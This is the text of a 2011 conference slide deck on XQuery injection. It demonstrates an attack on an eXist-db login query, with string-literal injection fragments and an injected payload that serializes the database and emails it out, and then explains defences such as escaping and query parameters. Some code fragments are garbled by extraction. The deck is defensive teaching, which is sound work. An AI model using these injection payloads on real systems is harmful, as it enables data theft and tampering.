slanted W3C logo

XQuery injection

Eric van der Vlist

XML Prague 2011

Picture © brianjmatis http://www.flickr.com/photos/brianjmatis/4973474372/

I am not a security expert!

Use these recommendations at your own risk...

Picture © kchbrown http://www.flickr.com/photos/phillykevflicks/346315118/

Thanks to

Alessandro Vernet Alessandro Vernet

Adam Retter Adam Retter

Picture © woodleywonderworks http://www.flickr.com/photos/wwworks/4759535970/

What is code injection?

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.

Source: http://en.wikipedia.org/wiki/Code_injection

Picture © DanCentury http://www.flickr.com/photos/dancentury/3917753198/

SQL injection

Can potentially affect any site using a SQL database (LAMP, WAMP, ...)!

Picture © therefromhere http://www.flickr.com/photos/therefromhere/518053737/

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) could be called "HTML+JavaScript injection".

Can potentially affect any site using JavaScript!

Picture © bertboerland http://www.flickr.com/photos/bertboerland/3560145755/

XSS & SQL Injection market shares

Top 2 attack methods (1/3)

Chart © Web Hacking Incident Database

XQuery injection market share

XQuery injection is hardly ever mentioned.

Does that mean that XQuery is "injection safe"?

Picture © Eric van der Vlist

XQuery is not (yet?) popular enough

Attackers target low hanging fruits on popular platforms

XQuery is just not (yet?) popular enough (don't be mad at me if I say so!)

Picture © Eric van der Vlist

XQuery is a low hanging fruit

Lack of awareness of XQuery injection

People tend to think XPath/XQuery are safe, but...

  • XQuery Update Facilities
  • Powerful extension functions
  • Even the standard document() function is a risk
Picture © Eric van der Vlist

An attack

login screen
Picture © dboy http://www.flickr.com/photos/dannyboyster/61394845/

The guess

?_query=[ = ' ']]]>

http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=//user[mail=%27" + username + "%27]"

Picture © jnkypt http://www.flickr.com/photos/jnkypt/3699385631/

Planing the injection

?_query=[ = ' ']]]>

:= ' or or .=']]>

?_query=[ = '' or or .='']]]>

Picture © doug88888 http://www.flickr.com/photos/doug88888/4561376850/

The injection


{
    let $message :=
    
        vdv@dyomedea.com
        vdv@dyomedea.com
        eXist collection
        
            The collection is :
{util:serialize(/*, ())}
            
        
    

return mail:send-email($message, 'localhost', ()) 
}
]]>
Picture © Rev. Xanatos Satanicos Bombasticos http://www.flickr.com/photos/clintjcl/1143871796/

Shooting

  1. With single quotes... failed!
  2. With double quotes... failed!
  3. With single quotes, encoded...

Picture © lindztrom http://www.flickr.com/photos/lindztrom/4865381171/

Blind delete

Picture © thiếunhi* Sò lông http://www.flickr.com/photos/ntna/5293237793/

Educated update

Picture © arbyreed http://www.flickr.com/photos/19779889@N00/3743500598/

Leak

Of course, the eXist-db HTTP client module can do much better!

Picture © matley0 http://www.flickr.com/photos/matley0/2958140838/

Protection 1: limit the consequences

  • Do not store non encrypted passwords.
  • Limit the permissions of database users to the minimum (and use a user with read only permissions to perform read only queries)
  • Do not enable extensions modules unless you really need them.
Picture © peter barwick http://www.flickr.com/photos/barwick/2308929369/

Protection 2a: sanitize user input

For XQuery literals, escape:

Picture © valleygirl_tka http://www.flickr.com/photos/38194075@N05/4444596154/

Protection 2b: keep user input out of queries

Use an extension function to get query parameters (when available)

//user[mail=request:get-parameter('mail', 0)]
Picture © tonrulkens http://www.flickr.com/photos/47108884@N07/4514087511/

Protection: which one?

  • 1 (limitation) and 2a (sanitization) or 2b (query parameters)
  • 2a is standard (more portable)
  • 2b may be cleaner
  • Beware of *:eval[uate]() (more later)
Picture © Oberazzi http://www.flickr.com/photos/oberazzi/318947873/

No filters, please!

What about forbidding simple quotes as a protection?

This would work...

... and give Tim O'Reilly a reason to rant about yet another dumb site!

Picture © Eric van der Vlist

How to

RTFM!

  • Some hints will follow
  • More details in the handouts (and soon on my blog)
Picture © Eric van der Vlist

In java

Sanitization

Parameters

Picture © minifig http://www.flickr.com/photos/minifig/5356493743/

In XSLT

Sanitization


  
  

document(concat('http://.../?_query=//user[mail=''', 
         encode-for-uri(san:sanitize-apos($user)), ''']')]]>

Parameters


  declare namespace request='http://exist-db.org/xquery/request';
  //user[mail=request:get-parameter('mail',0)]
document(concat('http://.../?mail=', encode-for-uri($user),
         '&_query=', encode-for-uri($query) ))]]>
Picture © Eric van der Vlist

In XQuery

Sanitization

Parameters

Picture © Eric van der Vlist

In XForms

Sanitization

]]>

Parameters


  
    
    <_query>declare namespace request='http://exist-db.org/xquery/request';
      //user[mail=request:get-parameter('mail',0)]
  

]]>
Picture © Eric van der Vlist

Related attacks

We've covered "XQuery string literal injection"...

What else?

Picture © digitalrhino http://www.flickr.com/photos/digitalrhino/277106563/

XQuery numeric literal injection

Worse than string literals (no delimiters)

You must validate numeric values before using them...

... or use them as string literals and cast them in XPath/XQuery.

If you use request parameters you must cast them anyway.

Picture © artnoose http://www.flickr.com/photos/artnoose/2263480871/

XQuery direct element injection

Useful with XQuery update to create/update elements

Safe using query parameters

Sanitization requires to escape 4 characters:

  1. & -> &amp;
  2. < -> &lt
  3. { -> {{
  4. } -> }}
Picture © viosplatter http://www.flickr.com/photos/35685856@N03/3303889941/

XUpdate injection

Safer than XQuery Update Facilities for element injection (no enclosed expressions)

Exposed to string literal injection through its XPath expressions.

Things are worse if the implementation supports XPath 2.0, XQuery update facilities and extension functions.

When available, request parameters are safe

Sanitization is similar than for XQuery

Picture ©

*:eval[uate]() injection

saxon:evaluate(), util:eval() and friends are injection prone.

Sanitization is a solution.

When used inside a query, you may need to sanitize twice!

Variables defined out of the call play the same role as query parameters for XQuery injection.

When used inside a query, query parameters are safe inside the call.

Picture © MildlyDiverting http://www.flickr.com/photos/mildlydiverting/5066123/

X* injection

What about XProc, XPL, Schematron, W3C XML Schema 1.1, XPointer, ... ?

Any language that uses XPath is prone to similar injections...

... iff user input is copied into XPath expressions.

Seems less likely for these ones, but who knows?

Maybe a subject for XML Prague 2012!

Picture © XWRN http://www.flickr.com/photos/xwrn/2323711034/

Questions?

Picture © silent (e) http://www.flickr.com/photos/silent_e/141839490/